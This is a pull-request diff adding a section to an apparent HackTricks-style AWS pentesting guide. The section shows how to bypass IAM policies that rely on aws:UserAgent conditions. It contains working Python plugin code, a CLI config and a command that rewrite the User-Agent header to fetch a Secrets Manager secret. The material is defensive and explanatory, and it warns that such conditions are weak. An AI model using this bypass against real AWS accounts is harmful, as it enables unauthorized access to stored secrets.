Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -109,6 +109,63 @@ response = client.get_secret_value(SecretId="flag_secret")
print(response["SecretString"])
```

### **Bypass User-Agent restrictions directly from AWS CLI**

The `aws:UserAgent` request context value is controlled by the client and therefore should not be treated as a strong authorization boundary. AWS CLI v2 can load legacy Python plugins through the `[plugins]` configuration section, and those plugins can register handlers on Botocore's event emitter.<sup>[[8]](#references)</sup>

A useful event for this purpose is `before-send.<service>.<operation>`. Botocore emits this event after the HTTP request has been prepared and immediately before transmitting it, which allows a plugin to modify the final request headers.<sup>[[9]](#references)</sup>

For example, create an AWS CLI plugin that changes the `User-Agent` only for `SecretsManager.GetSecretValue`:

```python
def _rewrite_user_agent(request=None, **kwargs):
if request is not None:
request.headers["User-Agent"] = b"Mozilla/5.0 custom-client"


def awscli_initialize(event_hooks):
event_hooks.register(
"before-send.secrets-manager.GetSecretValue",
_rewrite_user_agent,
)
```

Place the plugin in a directory such as `/tmp/awscli-plugins/user_agent_override.py` and enable it from an AWS CLI configuration file:

```ini
[default]
region = us-east-1

[plugins]
cli_legacy_plugin_path = /tmp/awscli-plugins
user_agent_override = user_agent_override
```

Then run the regular AWS CLI with that configuration:

```bash
AWS_CONFIG_FILE=/tmp/awscli-plugin-config \
aws secretsmanager get-secret-value \
--secret-id <secret-id>
```

For a policy condition such as:

```json
{
"StringNotLike": {
"aws:UserAgent": "aws-cli/*"
}
}
```

the normal AWS CLI sends a `User-Agent` beginning with `aws-cli/...`, while the plugin changes the final outgoing header before transmission. If no other authorization control blocks the request, the modified value no longer matches `aws-cli/*` and the conditional Allow can become applicable.

Using a late `before-send` hook is important because earlier request-building hooks may be followed by additional processing that reconstructs or modifies request headers.

> [!WARNING]
> `aws:UserAgent` conditions can be useful for visibility or coarse client filtering, but because the header is client-controlled they should not be relied upon as a security boundary by themselves.

### **`sts:GetFederationToken`**

The `GetFederationToken` operation returns temporary credentials for a federated user; any session policy intersects with the IAM user's policies, so it cannot grant more than the caller already has.<sup>[[2]](#references)</sup>
Expand All @@ -130,5 +187,7 @@ This operation creates a temporary federated session rather than a persistent IA
- [5] [AI-redteam/clier](https://github.com/AI-redteam/clier)
- [6] [Extensibility guide - Boto3 documentation](https://docs.aws.amazon.com/boto3/latest/guide/events.html)
- [7] [AWS Management Console sign-in events - AWS CloudTrail](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html)
- [8] [AWS CLI v2 plugin loader implementation](https://github.com/aws/aws-cli/blob/v2/awscli/plugin.py)
- [9] [Botocore request sending and `before-send` event](https://github.com/boto/botocore/blob/develop/botocore/endpoint.py)

{{#include ../../../../banners/hacktricks-training.md}}